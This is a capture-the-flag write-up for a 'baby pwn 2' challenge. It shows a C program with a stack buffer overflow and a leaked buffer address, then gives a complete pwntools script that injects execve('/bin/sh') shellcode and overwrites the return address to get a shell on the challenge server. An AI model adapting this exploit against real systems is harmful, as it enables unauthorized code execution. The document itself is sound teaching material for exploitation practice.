Here’s a baby pwn challenge for you to try out. Can you get the flag?
nc 34.162.142.123 5000
Author: atom
baby-pwn-2.zip
We’re provided the binary along with the source file:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <stdio.h> #include <string.h> void vulnerable_function () { char buffer[64 ]; printf ("Stack address leak: %p\n" , buffer); printf ("Enter some text: " ); fgets(buffer, 128 , stdin ); } int main () { setvbuf(stdout , NULL , _IONBF, 0 ); printf ("Welcome to the baby pwn 2 challenge!\n" ); vulnerable_function(); printf ("Goodbye!\n" ); return 0 ; }
checksec
output:
1 2 3 4 5 6 7 8 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments Stripped: No
NX
is disabled –> implies shellcode is likely the solution.
We also have a simple buffer overflow of 128 bytes read into the 64 byte buffer
. And we’re given a stack leak of the address of buffer
.
Basically, we can just write shellcode into buffer
, and then overwrite saved RIP with the address of buffer
that was leaked by the program. Then, the program will jump to our shellcode instructions in buffer
, and run whatever we want!
For the shellcode, we can create a pretty simple one to call system("/bin/sh\x00")
(null-terminated because that’s how C interprets strings!).
Here’s the exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 p.recvuntil(b': ' ) buffer = int (p.recvline(), 16 ) offset = cyclic_find('jaaaaaaa' , n=8 ) payload = bytes (asm(''' mov rax, 0x68732f6e69622f push rax mov rdi, rsp mov rsi, 0 mov rdx, 0 mov rax, SYS_execve syscall ''' ))payload = payload.ljust(offset, b'\x00' ) payload += p64(buffer) send(payload, b': ' )
And we get the flag!
uoftctf{sh3llc0d3_1s_pr3tty_c00l}
Full script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from pwn import *import sysimport osdef get_leak (before: bytes , end: bytes =b'\n' ) -> int : p.recvuntil(before) return int (p.recvuntil(end).decode('ascii' )[:-1 ], 16 ) def send (payload: bytes , before: bytes =b'' , line: bool =True ) -> int : payload = payload + (b'\n' if line else b'' ) if before == b'' : p.send(payload) else : p.sendafter(before, payload) args = list (map (lambda s: s.upper(), sys.argv)) _libcs = list (filter (lambda s: 'libc.so.6' in s, os.listdir())) _lds = list (filter (lambda s: 'ld' == s[:2 ], os.listdir())) elf = ELF("baby-pwn-2" ) libc = _libcs[0 ] if len (_libcs) else elf.libc ld = _lds[0 ] if len (_lds) else None context.binary = elf context.log_level = "DEBUG" gdbscript = ''' # ''' if 'REMOTE' in args: p = remote('34.162.119.16' , 5000 ) else : p = process([elf.path]) gdb.attach(p, gdbscript=gdbscript) p.recvuntil(b': ' ) buffer = int (p.recvline(), 16 ) offset = cyclic_find('jaaaaaaa' , n=8 ) payload = bytes (asm(''' mov rax, 0x68732f6e69622f push rax mov rdi, rsp mov rsi, 0 mov rdx, 0 mov rax, SYS_execve syscall ''' ))payload = payload.ljust(offset, b'\x00' ) payload += p64(buffer) send(payload, b': ' ) p.interactive() p.close()